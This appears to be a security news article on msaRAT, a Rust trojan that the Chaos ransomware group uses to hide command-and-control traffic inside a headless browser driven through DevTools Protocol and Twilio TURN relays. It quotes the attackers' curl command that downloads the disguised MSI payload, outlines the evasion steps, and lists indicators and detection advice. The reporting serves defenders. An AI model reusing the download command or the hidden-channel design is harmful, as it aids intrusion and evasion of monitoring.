Cisco Talos has documented a new remote access trojan called msaRAT. It is Rust-based. The Chaos ransomware crew uses it to hide command-and-control traffic inside a legitimate Chrome or Edge browser process. The msaRAT Chaos ransomware tool never opens a socket to the attacker’s server itself. Instead, it launches a hidden, headless copy of the victim’s own browser. It drives that browser through the Chrome DevTools Protocol (CDP). Every byte that leaves the machine looks like ordinary traffic bound for Cloudflare and Twilio.
How the msaRAT Chaos ransomware attack works
Talos researchers Jordyn Dunk, Michael Szeliga and Takahiro Takeda published the analysis on July 23, 2026. Chaos is a ransomware-as-a-service operation. It emerged in February 2025. The group favours spam email and vishing calls for initial access. From there, it leans on remote monitoring and management tools to stay inside a network. msaRAT gets deployed after that initial foothold, before any files get encrypted.
The infection starts with a simple download: curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi. The MSI installer is dressed up with Windows Update metadata. A custom action loads an embedded DLL, lib.dll, straight into memory instead of writing it to disk. That DLL exports a single function, RUN. It spins up a Tokio async runtime and starts hunting the registry and environment variables for a Chrome or Edge install.
Why the browser matters
Once msaRAT finds a browser, it launches it with the --headless=new and --remote-debugging-port flags. It points them at a fresh user data directory, so it does not collide with anything the victim already has open. This step matters because Chrome 136 tightened remote debugging against the default profile back in March 2025. Routing around that restriction with a separate profile is a deliberate design choice, not an oversight.
From there, msaRAT uses CDP’s Runtime.evaluate to inject JavaScript. It bypasses Content Security Policy with Page.setBypassCSP and registers a handful of bindings back into the page context. That script opens a WebRTC connection, but with a twist. It strips out ICE candidates and sets the connection address to 0.0.0.0. That forces every packet through Twilio’s TURN relay instead of a direct peer-to-peer link. Signalling happens through a Cloudflare Worker, so both legs of the conversation ride on infrastructure most enterprise firewalls already allow.
On top of that, the channel is double-encrypted. WebRTC’s own DTLS layer wraps the connection. The payload inside gets further protection from ChaCha20-Poly1305, with keys agreed through an ECDH exchange. As Talos put it: “msaRAT never touches the network directly, it controls its C2 communication channel exclusively through Chrome DevTools Protocol.”
The bigger pattern
The msaRAT Chaos ransomware campaign fits into something bigger than one gang’s toolkit. BleepingComputer’s coverage adds useful context. This Chaos brand has no relation to the 2021 ransomware family of the same name. It has already drawn state-level interest, though. The Iranian-linked group MuddyWater reportedly used Chaos in 2025 to disguise espionage as ordinary, financially motivated ransomware activity. That overlap between criminal tooling and state actors is a familiar theme in ransomware reporting now. It raises the stakes for defenders who might otherwise write off a Chaos intrusion as routine extortion.
The technique itself is not entirely new. Praetorian showed TURN infrastructure could carry C2 traffic back in August 2025. Sansec spotted a WebRTC-based payment skimmer using similar data-channel tricks in March 2026. What makes msaRAT notable is simpler: it packages the idea into a working ransomware precursor, aimed at organisations rather than e-commerce checkouts.
What defenders can do now
Talos published indicators of compromise for the msaRAT Chaos ransomware campaign. These include a ClamAV signature (Win.Downloader.ChaosRaas-10060321-0), Snort rules covering both the 2.x and 3.x rule sets, and the staging IP address 172.86.126.18. The Cloudflare Worker endpoint used for signalling, is-01-ast.ols-img-12.workers.dev, is worth adding to watchlists too, though defenders should expect the operators to rotate it soon.
Network-layer detection alone will struggle here, because the traffic hides inside a legitimate browser process. The more durable signal is behavioural. Watch for a browser binary launched by an installer or a background service, with debugging flags set and no visible window. Endpoint tooling that already flags unusual child-process relationships or command-line flags on browser executables should catch this pattern, no msaRAT-specific rule needed.
Chaos remains active, and the msaRAT Chaos ransomware channel is genuinely hard to block. Teams running EDR should confirm it actually inspects command-line arguments for browser processes, not just process names. That is the detail this technique is built to exploit.
A supply chain angle worth flagging
msaRAT rides on Chrome or Edge rather than shipping its own network stack. Because of that, it inherits whatever trust those browsers already carry on the network, including any TLS inspection bypass rules admins have set up for browser traffic specifically. Organisations that exempt browser processes from deep packet inspection, to avoid breaking legitimate sites, should reconsider that exemption. At minimum, pair it with the process-level checks described above.